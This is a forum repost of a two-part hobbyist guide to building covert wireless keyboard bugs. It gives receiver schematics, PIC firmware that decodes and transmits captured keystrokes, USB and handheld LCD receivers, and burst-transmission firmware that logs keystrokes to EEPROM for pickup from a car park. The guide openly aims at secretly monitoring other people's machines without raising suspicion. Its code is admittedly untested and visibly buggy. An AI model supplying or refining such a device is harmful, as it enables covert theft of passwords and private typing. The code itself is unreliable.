Jump to content
Gonzalez

A novice guide to Homebrew data bugs...

Recommended Posts

Posted

Homebrew digital taps (Part 2)

by M3DU54 of +44

Complete novice guide to remotely bugging keyboards, router consoles,

modems and more. Including neat wireless attacks on wired networks.

The story so far...

Ok, we've built a wireless bug based around a PIC microcontroller and a TXM module and perhaps built it into a keyboard. We've programmed the PIC to grab keyboard scancodes from the wire, strip the framing bits, and transmit bytes out the transmitter. But what use is all this without a receiver ?

Today we're going to build a simple receiver based on the parts list presented in yesterdays article. We're going to analyse the data received and turn it back into an intelligible format on a PC.

We're also going to take a look at antenna design for both transmitter and receiver because a bad antenna will have dire consequences on signal strength and thus useable range. The antenna really is the most critical part of the system.

Parts list

Receiver

1 - RXM418 or RXM433 (SIL format)

1 - MAX233 or MAX233A (DIL format)

1 - DB9 female connector (Or a DB25 if you prefer)

1 - 200 Ohm resistor

1 - 10k resistor

Lets build the receiver

As before, lets start out by taking a look at out components. First locate the RXM module (It's larger than the TXM with 7 pins instead of 5) and place it in front of us as shown in the picture.

The 7-pin RXM (SIL package)

We number the RXMs pins 1 to 7 from left to right. Pins 1 and 2 being located on the left side of the module and pins 3 through 7 located on the right. The pin allocations are as follows:

1 Antenna

2 RF GND

3 DETECT

4 GND

5 VCC (+5v)

6 ANALOGUE OUT

7 DATA OUT

Some of these may need a little explanation. DATA OUT, GND, VCC and ANTENNA are pretty much self explanatory, in fact they closely mirror the equivalent pins of the TXM we used yesterday.

ANALOGUE OUT is, as you may guess, an analogue version of the data output from pin 7. We're not going to use this but it could be used to provide an audible confirmation of the transmitter - or, if we were sending, say, DTMF touchtones we could feed this into a DTMF decoder.

DETECT provides carrier detection capabilities, basically it lets us know wether we are in range of the receiver. The basic unit will not use this, although I might touch on its use later. When not in use we should use a resistor to 'pull it up' to the +5v rail.

MAX233

The MAX233/MAX233A is a serial interface in a 20pin DIL format. With the chip oriented so that the dot is in the top left corner, pins 1-10 run down the left hand side (From top to bottom) and pins 11 to 20 run up the right hand side (from bottom to top)

This is a useful chip because it will happily convert TTL/CMOS input to an RS-232 output which is going to be quite important to us. The received data we get from our RXM module will be 0v to 5v, representing a zero or one respectively. Unfortunately we cannot just fire this output down a serial cable because RS-232 requires -v to +v signals, not 0v to +v signals. This chip performs the conversion required to drive a serial line and you will see it in MANY projects from programmers to serial-controlled robots.

As a pointless sidenote: The 'RS' in RS-232 stands for 'Recommended Standard' and denotes that this is NOT an official standard. In actual fact RS-232 standard has been made official is now more correctly referred to as 'EIA/TIA-232'. Yeah, I know - I'd rather just say 'RS-232' too.

Okay, now that you know more than you wanted to about serial interface standards we can get on with the project. Lets put the receiver together.

Antenna
\|/ _____________________________
| | / \ |
| || | RXM (SIL) Module |
| | \__/ |
| | |
| |_____________________________|
| |1 |2 |3 |4 |5 |6 |7
| | | | | | | | __________
| | | | | | |@ |
| | [R2] | [R1] +--[|1 18|]---------+
+--------+ | | | [|2 17|] |
| | | [|3 16|] ------|-------------
| | | [|4 MAX 15|] \ O1 O2 O3 O4 O5/
| | | [|5 233 14|] \ DB-9 /
| +--|--------[|6 13|] \ O6 O7 O8 O9/
| | +--------[|7 12|] -------------|-
| | | [|8 11|] |
| +--|--------[|9 10|] |
| | | |__________| |
| | | |
+--|--+-----------------------------------------|-> +5V
| |
| |
| |
+--------------------------------------------+-> GND
R1 = Resistor 200 Ohm
R2 = Resistor 10k

Power problems

Unfortunately we cannot find 5v power from the serial port. That means that this unit must be powered by either a battery or by connecting to a suitable source on the PC itself... for example, we could use the keyboard connector for power (as we did in the transmitter section) - Of course, this is messy (Unless you are on a laptop and have an 'extension keyboard' socket which is unused)

When I do this myself I create a USB based receiver and this resolves the power issue (USB carries a +5v line). The problem is that it is a little more tricky in the construction and I really want this to be accessible to the novice. For those of you that would rather have a USB powered device you're going to have to wait till tomorrow and I'll throw in various modifications to this basic serial setup.

In fact, if you're lucky I might throw in a modification to turn this into a handheld unit with a pretty backlit LCD display.

Going for the first test

Plug the unit into the serial port, open up hyperterminal, and select 2400,8,N,1 on COM1 or COM2 (Whichever serial you have the device connected to) and sit back as hyperterminal displays all the keypresses...

... umm, not quite. Just getting garbage ?

Good, everything is working fine, lol. Remember in the previous article we talked about scancodes ? I gave you a link to a list of scancodes and it is those scancodes that you are seeing in hyperterminal! Now, I'm assuming that most of you can't convert scancodes to ASCII in your head so somewhere along the line we're going to have to do some conversion.

We have two choices:

- We can write a little program that reads scancodes from the receiver and displays them + logs them to file.

- We can alter our bugs firmware to send ASCII instead of the keyboards scancodes and then we can make sense of our receivers output in hyperterminal.

In typical M3DU54 fashion we're gonna do both. By doing both I introduce the novice to programming for the windows serial ports, and we also get to have another poke around with the PIC firmware. Deep Joy! By the time you've finished this you're gonna be knocking out digital devices like a pro : )

Option 1 - Firmware ASCII Conversion

In this option we will be converting the bug to transmit ASCII instead of scancodes. This will result in us being able to use the receiver without installing any special software. Lets first remind ourselves of the dispatching line on our PICs firmware.

 putc(byt); // Send byte to the transmitter 

Remember this command ? It fires each scancode to the transmitter. Guess its time to make a few changes :

                   
void main()
{
--snip--

putc(toASCII(byt)); // Send byte to the transmitter

--snip--
}

void toASCII(unsigned char scancode)
{
unsigned char asciicode;

asciicode = 0;

// Since we are only converting 10 keys we can use a switch
// statement - For many keys it would seem more efficient to
// use a lookup table however our onboard RAM is VERY limited
// (we have a miniscule 68 bytes total RAM, tiny huh?)
switch(scancode)
{
case 0x45: asciicode = '0'; break;
case 0x16: asciicode = '1'; break;
case 0x1E: asciicode = '2'; break;
case 0x26: asciicode = '3'; break;
case 0x25: asciicode = '4'; break;
case 0x2E: asciicode = '5'; break;
case 0x36: asciicode = '6'; break;
case 0x2D: asciicode = '7'; break;
case 0x3E: asciicode = '8'; break;
case 0x46: asciicode = '9'; break;

default: asciicode = '?';
}

return asciicode;
}

Now when I type the numbers '123' I get the following output in hyperterminal :

1?12?23?3

Why? Well, when I Press [1] the scancode generated is '16h' but when I release the [1] key TWO scancodes are generated 'F0h 16h'. This results in the sequence '16 F0 16'. Since we are converting number keys into their ASCII equivalents (And anything else into '?') we see '1?1' in hyperterminal. If we press '123' therefore, we see '1?12?23?3'

Obviously there must be a better way. Even if we ignore 'F0' we're still seeing each key twice. Once as it is pressed and again as it is released.

Lets take a good look at the scancode table and see how we can best solve the problem. It would appear that whenever we see an 'F0' (key released) we should read another byte to find out which key. Also, whenever we see an 'E0' we should remember that the following data regards an 'extended key' and read another one byte (key pressed) or two bytes (key released) further to find out which key. It is apparent that we cannot translate one byte at a time.

For example, you could do the following :

#include <16F87.h>
#use delay(clock=10000000)
#fuses NOWDT,HS, NOPUT, NOPROTECT
#use rs232(baud=1200,parity=N,xmit=PIN_A2,rcv=PIN_A3,bits=9)

// Prototypes
void clockwait(void);
void ProcessCompleteEvent(void);

void main()
{
setup_counters(RTCC_INTERNAL,RTCC_DIV_1);

while(1) // Loop forever...
{
ProcessCompleteEvent(); // Process and transmit complete key events
}

}

void ProcessCompleteEvent(void)
{
unsigned char BYT; // Holds the last byte read
unsigned char FLG; // Flags to indicate EO, FO
unsigned char t; // General counter

//
// Significance of each bit of the FLG byte :
// 128 - COMPLETE (We have the complete scancode)
// 64 - no significance
// 32 - no significance
// 16 - no significance
// 8 - no significance
// 4 - no significance
// 2 - EXTENDED (BYT was preceeded with E0)
// 1 - RELEASED (BYT was preceeded with F0)


// Start with a clean slate
FLG = 0;


////////////////////////////////////////
// Grab an entire scancode sequence //
// including preceeding E0, F0 bytes //
////////////////////////////////////////

// Repeat until the key is complete ...
while(!FLG & 128)
{


/////////////////////////////////////////
// GET THE NEXT BYTE FROM THE KEYBOARD //
// //
// This code should look very familiar //
// as it is unchanged from last time //
/////////////////////////////////////////

BYT = 0; // Starting a new data frame

clockwait(); // Ignore start bit
for(t=0;t<8;t++) // Grab eight bits of data...
{
clockwait();
BYT|=input(PIN_A0)<<t;
}
clockwait(); // Ignore parity bit
clockwait(); // Ignore stop bit


///////////////////////////////////
// WHAT TYPE OF BYTE IS THIS ??? //
///////////////////////////////////

switch (BYT)
{
case 0xF0 :
FLG |= 1; // Set the RELEASED bit
break;
case 0xE0 :
FLG |= 2; // Set the EXTENDED bit
break;
default :
FLG |= 128; // Set the COMPLETE bit
}
}

/////////////////////////////////////////////////////
// Once we get to here the key is in BYT and the //
// FLG variable reflects any E0 or F0 modifiers. //
/////////////////////////////////////////////////////

// Is this an EXTENDED key ?
if(FLG & 2)
{
////////////////////////////////////////
// HERE WE PROCESS EXTENDED (E0) KEYS //
////////////////////////////////////////

// enclose in square brackets (start)
putc('[');

// Was keypress Down or Up
if(FLG & 1)
{
// Keys we send on UP messages
switch (BYT)
{
// Output the name of the key released...
case 0x14 : puts ("R_CTRL UP");break;
case 0x11 : puts ("R_ALT UP"); break;

default : puts("??? UP"); // Unknown key released
}
}
else
{
// Keys we ONLY send on DOWN messages
switch (BYT)
{
// Output the name of the key pressed...
case 0x14 : puts ("R_CTRL"); break;
case 0x11 : puts ("R_ALT"); break;

case 0x7C : puts ("PRINT"); break;
case 0x70 : puts ("INS"); break;
case 0x6C : puts ("HOME"); break;
case 0x7D : puts ("PG_UP"); break;
case 0x71 : puts ("DEL"); break;
case 0x69 : puts ("END"); break;
case 0x7A : puts ("PG_DN"); break;
case 0x75 : puts ("UP"); break;
case 0x6B : puts ("LEFT"); break;
case 0x72 : puts ("DOWN"); break;
case 0x74 : puts ("RIGHT"); break;
case 0x4A : puts ("KP_/"); break;
case 0x5A : puts ("KP_ENTER");break;
case 0x37 : puts ("POWER"); break;
case 0x3F : puts ("SLEEP"); break;
case 0x5E : puts ("WAKE"); break;

default : puts("???"); // Unknown key pressed
}
}

// enclose in square brackets (end)
putc(']');
}
else
{
////////////////////////////////////////////////
// HERE WE PROCESS NON-EXTENDED (non-E0) KEYS //
////////////////////////////////////////////////

// Was keypress Down or Up
if(FLG & 1)
{
// Keys we send on UP messages
switch (BYT)
{
// Output the name of the key released...
case 0x59 : puts ("[R_SHIFT UP]"); break;
case 0x12 : puts ("[L_SHIFT UP]"); break;
case 0x14 : puts ("[L_CTRL UP]"); break;
case 0x11 : puts ("[L_ALT UP]"); break;

default : puts("[? UP]"); // Unknown key released
}
}
else
{
// Keys we ONLY send on DOWN messages
switch (BYT)
{
// Output the name of the key pressed...
case 0x59 : puts ("[R_SHIFT]");break;
case 0x12 : puts ("[L_SHIFT]");break;
case 0x14 : puts ("[L_CTRL]"); break;
case 0x11 : puts ("[L_ALT]"); break;

case 0x45 : putc ('0'); break;
case 0x16 : putc ('1'); break;
case 0x1E : putc ('2'); break;
case 0x26 : putc ('3'); break;
case 0x25 : putc ('4'); break;
case 0x2E : putc ('5'); break;
case 0x36 : putc ('6'); break;
case 0x3D : putc ('7'); break;
case 0x3E : putc ('8'); break;
case 0x46 : putc ('9'); break;

case 0x1C : putc ('A'); break;
case 0x32 : putc ('B'); break;
case 0x21 : putc ('C'); break;
case 0x23 : putc ('D'); break;
case 0x24 : putc ('E'); break;
case 0x2B : putc ('F'); break;
case 0x34 : putc ('G'); break;
case 0x33 : putc ('H'); break;
case 0x43 : putc ('I'); break;
case 0x3B : putc ('J'); break;
case 0x42 : putc ('K'); break;
case 0x4B : putc ('L'); break;
case 0x3A : putc ('M'); break;
case 0x31 : putc ('N'); break;
case 0x44 : putc ('O'); break;
case 0x4D : putc ('P'); break;
case 0x15 : putc ('Q'); break;
case 0x2D : putc ('R'); break;
case 0x1B : putc ('S'); break;
case 0x2C : putc ('T'); break;
case 0x3C : putc ('U'); break;
case 0x2A : putc ('V'); break;
case 0x1D : putc ('W'); break;
case 0x22 : putc ('X'); break;
case 0x35 : putc ('Y'); break;
case 0x1A : putc ('Z'); break;

case 0x29 : puts (" "); break;
case 0x0D : puts ("[TAB]"); break;
case 0x5A : puts ("[ENTER]"); break;
case 0x76 : puts ("[ESC]"); break;

case 0x05 : puts ('[F1]'); break;
case 0x06 : puts ('[F2]'); break;
case 0x04 : puts ('[F3]'); break;
case 0x0C : puts ('[F4]'); break;
case 0x03 : puts ('[F5]'); break;
case 0x0B : puts ('[F6]'); break;
case 0x83 : puts ('[F7]'); break;
case 0x0A : puts ('[F8]'); break;
case 0x01 : puts ('[F9]'); break;
case 0x09 : puts ('[F10]'); break;
case 0x78 : puts ('[F11]'); break;
case 0x07 : puts ('[F12]'); break;

// ETC... (ADD THE REST YOURSELF, SYMBOLS ETC)
//
// Why? Because scancodes indicate a key position
// not a specific meaning - Therefore keyboards may
// vary. Normally this doesn't matter because the
// PC uses a 'codepage' to translate between scancode
// and ASCII but we are hardcoding KB specific values.

default : puts("[?]"); // Unknown key pressed
}
}
}

return;
}

void clockwait(void)
{
// Waits for the next clock cycle...
while(!input(PIN_A1)); // Wait for clock to go HI
while(input(PIN_A1)); // Wait for clock to go LO
}

(note: code is hand typed and therefore untested - You may have to clean it up - bugs undoubtedly exist) You will also notice that it is essentially one large routine - You should generally resist the temptation to break things up into too many smaller functionally cohesive steps - the PIC only has 8 levels of stack and so we have to keep our code quite flat - C isn't the most friendly code to run on a low-end PIC.

Also note that this code is compiled for the 16F87 whereas our other code was written for the 16F84 ... Switch statements take a LOT of space (As do tables) and this simply wouldn't fit in the previous 16F84 which has only a quarter of the memory of our spanky new 16F87.

How much is this new memory gonna cost us ? Well, I knew you were gonna ask that so I went away to check - It seems the 16F87 is actually around half the price despite having an extra 3 IO lines - yeah, I can't work that one out either ; ) If you've already bought a dozen 16F84s feel free to mutter obcenities in my general direction.

If you now power up your receiver you will see the output like the following in your hyperterminal:

[TAB][R-SHIFT]I[R-SHIFT UP]'M TIRED OF TYPING[R-SHIFT]111[R-SHIFT UP] which is, of course, 'I'm tired of typing!!!' We could tell the firmware to remember when the SHIFT key is down and output upper/lower case and number/symbol accordingly. However, I leave that as a simple challenge for the reader, it really isn't difficult.

Phew! I really should apologise for the length of that. But what the hell.

Option 2 - Software ASCII Conversion

Okay, lets say we'd rather just send plain scancodes over the air and translate on our laptop. This has several benefits. It means that we can use one bug regardless of the keyboards codepage/language and simply switch between codepages on the receiving machine as required. It also has a number of shortcommings, particularly in that we need custom software running on the receiving machine.

The chances are, however, that your receiving PC supports the same codepage as the target machine and so we can use a handy lookup feature that is provided by windows. After all, why reinvent the wheel - windows already knows how to translate between scancodes and ASCII.

Translating to ASCII on PC

This code (courtesy of GameDev.net) shows how easy scancode-ASCII conversion is on the local machine. As you can see, its

static int ScanToAscii(DWORD scancode, ushort* result)
{
static HKL layout=GetKeyboardLayout(0);
static uchar State[256];

if (GetKeyboardState(State)==FALSE)
return 0;

UINT vk=MapVirtualKeyEx(scancode,1,layout);

return ToAsciiEx(vk,scancode,State,result,0,layout);
}

Much easier than translating on the PIC chip I think you'll agree. As for the functions used 'GetKeyboardLayout' is quite self explanatory, 'GetKeyboardState' retrieves the state of the LOCAL machines keyboard and can therefore be left out without affecting the functionality greatly, 'MapVirtualKeyEx' will give us a win32 virtual key which we feed into the 'ToAsciiEx()' function which will spit out 0 - 2 extended ASCII characters. These characters are returned in the 'result' parameter.

return values:

n = Number of characters returned

0 = No conversion performed

The actual characters returned will be placed in 'result' and, under most circumstances, can be retrieved with char(result[0]) - except on multibyte character sets.

Having said this, you can always just re-implement the same extensive switch() routines that we used previously in the firmware version. The choice is yours.

So, all that remains is to look at capturing data from the serial port. If you've never programmed for the serial port before then I'd suggest downloading one of the many free serial port libraries available or, if using Visual Studio, one can simply use the MSCOMM control which is well documented and very easy to use.

Apologies

I was going to discuss antenna design with you but I don't think I should make todays article any larger than it already is. For now just use 32-34cm of wire laid in a straight line inside the keyboard case. This will give a decent strength signal even without a groundplane.

I will try to squeeze antenna considerations into the next article because it really is quite an important factor.

Next time

In what should be the last part of this guide we will briefly explore exciting things you can do with this basic setup including scheduling data bursts, monitoring the keypresses without a PC (building ourselves a handheld LCD keysniffer) and other neat stuff.

We will also take a look at some of the higher end devices and how we can use the same techniques to place private 2-way point-to-point wireless taps into wired networks. I will be showing a simple conversion to allow all our receivers can be made into USB-powered units rather than a unpowered serial units.

Finally we take a peek at some interesting extensions to the theme using cellular telephony.

Well, just have to see how much space I have : )

Posted

Homebrew digital taps (Part 3)

by M3DU54 of +44

Complete novice guide to remotely bugging keyboards, router consoles,

modems and more. Including neat wireless attacks on wired networks.

Where do we go from here?

We've successfully built a transmitter and receiver pair at 418 or 433Mhz and programmed some translation service between scancodes and ASCII into either the firmware device, or on the receiving machine. What next?

A few extra capabilities have been mentioned and I would like to take a little time to examine them here. I'll start with some of the more obvious expansions of the existing technology and then break out into other devices and applications.

RXer Modification 1 - Obtaining power from the serial port

Remember I told you that you can't power the receiver from the serial port. Well, thats only a half truth. There ARE ways to derive power from the serial ports but the current (and voltage after applying load) will vary depending on the target hardware. Its not something I have tried, nor is it something I would encourage.

If you ARE interested in this then Tomi Engdahl has an excellent article on the subject >here<. Just be aware that you do this at your peril and the results may not be worthwhile.

RXer Modification 2 - Conversion to USB

So far our receiver has been limited to using a serial connection to the host machine, this leaves us having to power the receiver using either a battery, stealing power from the keyboard line (Which is hardly ideal) or attempting to subvert power from the RS232's DTR/RTS and TD lines (As above)

I'd like to introduce you to USB which has the advantage of being able to also supply power to the device whilst retaining a single connection to the host. As usual, this will be accompanied by my usual low standard of ascii schematics.

Devices introduction

I was going to give you the full schematic for building your own budged USB serial interface built around the FTDI FT8U232AM device but the small package profile is tricky for the novice to solder. Again, prebuilt modules come to our aid in the form of Elexols USBMOD range.

Typical Elexon USBMOD module

As you see, the entire USB circuit is already mounted to a PCB. Furthermore the whole unit takes the pin form of a DIL IC making soldering/mounting a simple affair for even the most cack-handed of novices.

Building the USB interfaced receiver

As usual lets start off by numbering the pins. Place the device in front of you with the USB connector facing away from you. The pins are numbered from 1 to 16 down the left side (from top to bottom) and 17 to 32 up the right side (from bottom to top). Not that two pins are missing on each side. These missing pins are in the 3, 4, 29 and 30 positions. So, if I refer to 'pin 3' then you know I've messed up somewhere ; )

Heres how we originaly wired up to the RS-232...

Code:

Antenna

\|/ _____________________________

| | / \ |

| || | RXM (SIL) Module |

| | \__/ |

| | |

| |_____________________________|

| |1 |2 |3 |4 |5 |6 |7

| | | | | | | | __________

| | | | | | |@ |

| | [R2] | [R1] +--[|1 18|]---------+

+--------+ | | | [|2 17|] |

| | | [|3 16|] ------|-------------

| | | [|4 MAX 15|] \ O1 O2 O3 O4 O5/

| | | [|5 233 14|] \ DB-9 /

| +--|--------[|6 13|] \ O6 O7 O8 O9/

| | +--------[|7 12|] -------------|-

| | | [|8 11|] |

| +--|--------[|9 10|] |

| | | |__________| |

| | | |

+--|--+-----------------------------------------|-> +5V

| |

| |

| |

+--------------------------------------------+-> GND

R1 = Resistor 200 Ohm

R2 = Resistor 10k

Remember we used a MAX233 device to convert the TTL voltage levels into RS232 voltage levels ? Well the USBMOD converts USB to serial - but, fortunately for us, it too requires an external MAX233 to convert its TTL levels to RS232 levels. Yes, thats right - both our RXM and the USBMOD use TTL voltage levels and thus we can thow away BOTH MAX233's and connect the two directly.

Lets look at the new hookup...

Code:

Antenna Attach

\|/ _____________________________ USB Cable

| | / \ | |

| || | RXM (SIL) Module | V

| | \__/ | ____________

| | | | | | |

| |_____________________________| [|1 | USB |32|]

| |1 |2 |3 |4 |5 |6 |7 [|2 | Conn |31|]

| | | | | | | | |______| |

| | [R2] | [R1] | | |

| | | | | | [|5 28|]---+

+--------+ +--|--+-----|-----+--------------[|6 27|] |

| | +--[R3]--(|<)--[|7 26|] |

| | LED [|8 25|]---+

| | [|9 USBMOD 24|] |

| | [|10 23|] |

| | [|11 22|] |

| | [|12 21|] |

| | [|13 20|] |

| +--------------------[|14 19|] |

| [|15 18|] |

| [|16 17|] |

| |____________| |

| |

+------------------------------------------------+

[R1] = Resistor 200 Ohm

[R2] = Resistor 10k

[R3] = Resistor 100 Ohm

(|<) = LED (USB Data Indication)

Doesn't really get much simpler does it? Connect that to your USB and the device will appear in your device list as a new serial port. We've added an LED and resistor on pin 7 to show the data being sent to the host PC. If you don't want it you can remove resistor 3 and the LED and leave pin7 unconnected.

Code:

[|5 28|]---+

<---------[|6 27|] |

[|7 26|] |

[|8 25|]---+

[|9 USBMOD 24|] |

[|10 23|] |

Above: Device without data indicator

Pin 25 tells our USBMOD wether we will be using our own power or leeching from the USB port - if we wished to use a battery instead we would do the following...

Code:

[|5 28|]---+

To +5v <----+--------------[|6 27|] |

+--[R3]--(|<)--[|7 26|] |

LED [|8 25|] +-------> To GND

[|9 USBMOD 24|] |

[|10 23|] |

Above: Device converted for external power

RXer Modification 3 - Handheld LCD collection

Sometimes a laptop or PC may be too bulky for our purposes. We may desire a battery powered handheld receiver with an LCD display that can either monitor keypresses as they occur or, in the case of a burst transmitter, give us a countdown clock till the next databurst and then retrieve the databurst whilst displaying a percentage meter. We could then take the unit home and replay the captured databurst into our terminal software.

When we build our burst transmitter later you will notice that it sends a single byte every minute. If we couple an RXM to a PIC16F84/87 we can use this received byte to initiate an onscreen countdown timer on the attached 2x16 char LCD. Something like...

Code:

Next databurst

in... 3m 59s

We can then use this counter (Which will continue even when the signal is no longer present) to ensure that we get back to the site in time for the start of the databurst. We simply put the receiver back within reception range and it will resynchronise its clock (each minutely burst) and start listening when its timer reads < 1m. Eventually it will hear '<<' followed by 8190 bytes of garbage which it will commit to EEPROM (details later) whilst displaying a percentage meter or byte count. When the databurts is complete it will hear '>>' indicating the end of transmission which should coincide with location 0x1FFE and 0x1FFF (The last two bytes of 24C65s EEPROM memory)

Back home, we can have the unit replay the entire contents of its EEPROM into a serial (Or USB) port using the interfaces shown above attached to an output pin of the PIC. Replay can be initiated by either tying a pushbutton to one of the PICs interrupt pins or performed automatically when it detects a serial clock or perhaps a CR from the console.

I'm rushing slightly because this article is threatening to get rather large. Receiving data has been covered already as have serial/usb interfacing. The use of EEPROMs to store data will be covered later when we deal with burst transmissions. So, lets take a look at how to control an LCD from a PIC and I'm sure you can garner the rest of the information from the code for 'burst transmitters' details below. This code is based on the LCD driver

Code:

void main()

{

#include <lcd.h>

// Initialise LCD

lcd_init();

delay_ms(10); // LCD takes tme to perform init

... snip ...

// Write 'full 9 yards' to LCD device

printf(lcd_putc,"/fFull %u yards", 9); /* '/f' clears the LCD display */

delay_ms(10);

}

To get you up and running quickly heres the useful LCD routines...

Code:

// lcd_init() Must be called before any other function.

// lcd_putc© Will display c on the next position of the LCD.

// The following have special meaning :

// \f Clear display

// \n Go to start of second line

// \b Move back one position

// lcd_gotoxy(x,y) Set write position on LCD (upper left is 1,1)

// lcd_getc(x,y) Returns character at position x,y on LCD

// Prototypes...

void lcd_init();

byte lcd_read_byte();

void lcd_send_nibble( byte n );

void lcd_send_byte( byte address, byte n );

void lcd_gotoxy( byte x, byte y);

void lcd_putc( char c);

char lcd_getc( byte x, byte y);

Lets also take a brief look at how we interface a pushbutton for triggering the replay (without using interrupts just to keep things nice and simple)

Code:

#define PLAYBACK_BUTTON PIN_a2

void main()

{

...snip initialisation ...

while(TRUE)

{

... snip main program functions...

// Is the PLAYBACK button pressed ?

if(input(PLAYBACK_BUTTON)!=0) /* Pushbutton wired to pull pin A2 high */

{

for(t=0;t<EEPROM_SIZE;t++)

{

// Here we 'putc' each byte of the EEPROM to the

// serial port. EEPROM_SIZE is 8192 for the

// 24C65 and is defined in the '2465.C' driver.

}

}

}

}

TXer Modification 1 - Burst transmission

Our bug has so far relied on us being within range in order to detect keystrokes. Thats fine if you just want to monitor a machine in another cubicle at work... not so good if you're outside the building in the car park.

Burst transmission is one of the more useful additions you can add to a data bug such as this. Under this scheme the bug will store all of the keypresses in memory using a circular buffer arrangement (When the buffer is full it starts overwriting itself from the beginning) this means that an 8k buffer will always hold the last 8k of keypresses.

The bug sits silently logging until a predetermined interval elapses and then transmits the entire buffer at high speed. You may only need to visit the site every few days (or even weeks) depending on the size of your buffer and the level of keyboard activity. This way you won't be sitting around for hours attracting suspicion.

Design considerations

Firstly, as I stated elsewhere, our humble PIC has only 68bytes of RAM. Not Megabytes, not Kilobytes, just BYTES! If we could use ALL of that RAM for storing keypresses (And we cannot) it still wouldn't be nearly enough for our purposes. It should be clear that we will need to add some external memory to our PIC. But what type and how much ?

Well, conventional memory works kinda like a parallel port - it needs a lot of control lines, more than we have available. However, there is a thing called 'serial memory' which operates more like... yep, you guessed it, a serial port. We note from our previous experiments that serial ports can be operated with as few as two wires... and, indeed, we find 'serialised' memory devices with a 2-wire interface. Okay, serial memory is comparatively slow but it's enough for our purposes and even our humble PIC can afford to use up another 2 IO pins.

As final consideration we need to know 'when' our databurst will happen. Its all very well having a databurst once every two hours but if you don't know when the next one will occur then you could also be sitting around for those two hours waiting. Worse, we could sit around waiting only to find that the keyboard is actually powered off.

Therefore, once every minute (If not already databursting) we should chirp a brief 'hello byte'... that single byte would tell us how many minutes are left till the next full databurst. We can simply drive past and pick up the chirp which confirms the keyboard bug is powered up... then return later and arrive in perfect time for the scheduled burst. In fact, we could set our receiver to synchronise a countdown timer on this chirp - After which simply looking at our screen would tell us we still have 17m54s before the next burst. Ooh good, I got time for a burger!

Memory size and type

How much memory do we need? Thats kinda like asking how long is string. The more memory we have the more keypresses we can archive and the less often we need to visit the site. Also, our databursts can occur less frequently but they will be longer in duration. I'd say go for around 8-16kbytes but anything is good.

Appropriate memory can be either volatile or non-volatile... ie, it either 'forgets' when the power goes off - or it doesn't. If your bug is holding a full day of data but before you collect your databurst the operator reboots the machine, well, you're gonna start wishing you'd went for that non-volatile memory. So, thats what we'll use.

Introducing the 24C65 smart serial EEPROM. It has 8kb of memory and can hold its data for over 200 years without any power. It can be read/written using just two wires and each location will survive over 1,000,000 erase/write cycles making its total useable life greater than 8gb of collected data.

Memory usage

We could just start at location 0 and fill each byte of memory with data till it gets full, then start again from zero overwriting the old data. It sounds plausible doesn't it but theres a slight problem. If the computer is reset after 100 keystrokes we end up back at zero and those previous keystrokes will be lost. Not only this but the lower memory locations will see a lot of use and will fail quicker. We need a safe place to store a counter so that every time the unit gets powered up it knows where to continue from - this will ensure that we can always retrieve the last 8k of keystrokes and that usage will be evenly distributed across the chip.

so, lets place a counter somewhere in this non-volatile memory which always holds the address of the next byte we want to write to. Each time we write some data we will increment this counter - when the counter hits the top we can set it back to zero. Whenever the unit is powered up it can check this location and continue using memory from where it left off. Now, it would appear that this location will be written to on every keypress thus causing the device to fail quicker - luckily the folks at microchip read our minds (one of our readers ain't wearing their tin-foil beanie) and they decided to provide us with a (relocatable) 512 bytes of 'ultra-high-endurance' memory especialy for data which changes frequently.

Lets see how it wires up...

Code:

+--------------------------------------------------> +5v

| __________

| |@ |

| (TXM)<--[|1 18|]-->(serial clock)

| [|2 17|]-->(serial data)

| [|3 16|]-->(10Mhz Xtal)

| (TXM)<--[|4 PIC 15|]-->(10Mhz Xtal)

_________ | (TXM)<--[|5 16F84 14|]-->(GND)

+---[|1 8|]---+ [|6 13|]

+---[|2 24C65 7|]-----+ [|7 12|]

+---[|3 6|]-----|----------[|8 11|]

+---[|4_______5|]-----|----------[|9 10|]

| | |__________|

| |

+---------------------+------------------------------------------------> GND

As you can see I've hidden all of the previous connections to the PIC chip in order to simplify viewing. The memory will be connected via two pins which will constitute a 2 wire I²C interface. Pins 1,2,3,4 & 7 will be tied to ground and pin8 goes to the keyboard connectors 5v line. Pins 5 and 6 are our data and clock lines respectively.

The good thing about the I²C interface is that it is a common standard. This means that our PIC compiler probably already has a few routines to make our life easier. If you're using CCS (And, if not you SHOULD be) you can make good use of the following calls...

Code:

// In your header we'd use...

#include <2465.c> // Include the 24C65 device driver

// Then, in the code...

void init_ext_eeprom(); // Initialise the device for use

void write_ext_eeprom(long int address, byte BYT); // Write a byte

BYT = read_ext_eeprom(long int address); // Read a byte

Nice and easy. Lets see how the EEPROM code fits into our databursting code

Code:

#define BURSTINTERVAL 60 // 60 minutes between databursts

unsigned INT16 BitBuffer; // Create a 16 bit fifo for bitstream

unsigned INT8 BYT; // We place the keyboard data bytes here

unsigned INT8 FLG; // We place the keyboard data flags here

unsigned LONG nextaddress; // The next writeable address in EEPROM

unsigned LONG burstaddress; // The next transmitted address in EEPROM

unsigned LONG burstbeginning; // The start/end address for the circular databurst

unsigned INT8 burstcountdown; // Number of minutes till next full burst

///////////////////////////////////////////////////////////////

//// This is the keyboards ISR. It is called whenever the ////

//// keyboards clock line transitions to LOW, which saves ////

//// us from polling continuously. ////

///////////////////////////////////////////////////////////////

KEYBOARDISR:

{

// Our ISR goes here, it captures each keyboard data bit as it occurs

// and then evaluates the bits received so far to see if it is a complete

// and valid frame.

//

// If it is FO (Key released) it sets bit 0 of FLG

// If it is EO (Extended key) it sets bit 1 of FLG

// If the scancode sequence is complete it sets BYT to the value of the key

// and sets bit 7 of FLG (Indicating that FLG/BYT form a complete description

// of an entire scancode sequence

//

// The code for this is covered in 'TXer Modification 2 - Synchronisation issues'

}

return from ISR;

////////////////////////////////////////////////////////////////

//// This is the burst timer ISR. It is called once every ////

//// minute. Every BURSTINTERVALth minute it will initiate ////

//// a databurst (unless one is already running) All other ////

//// times we simply emits a single byte, indicating the ////

//// minutes remaining till the next full burst. ////

////////////////////////////////////////////////////////////////

BURSTISR:

{

// One minute has elapsed, so decrement the minutes remaining till

// next databurst by one

burstcountdown--;

if(burstcountdown == 0)

{

// Its time!

if(burstaddress == 0xFFFF)

{

// Initiate a data burst

burstaddress = nextaddress;

burstbeginning = burstaddress;

}

// Reset the countdown

burstcountdown == BURSTINTERVAL;

}

// Otherwise lets broadcast the number of minutes remaining

// but only if we are not in the middle of a data burst

else if(burstaddress == 0xFFFF) transmit(burstcountdown);

}

return from ISR;

/*-- PROGRAM LOOP ----------------------------------------------------------------------*/

void main(void)

{

///////////////////////////////////

//// INITIALISATION ROUTINES ////

///////////////////////////////////

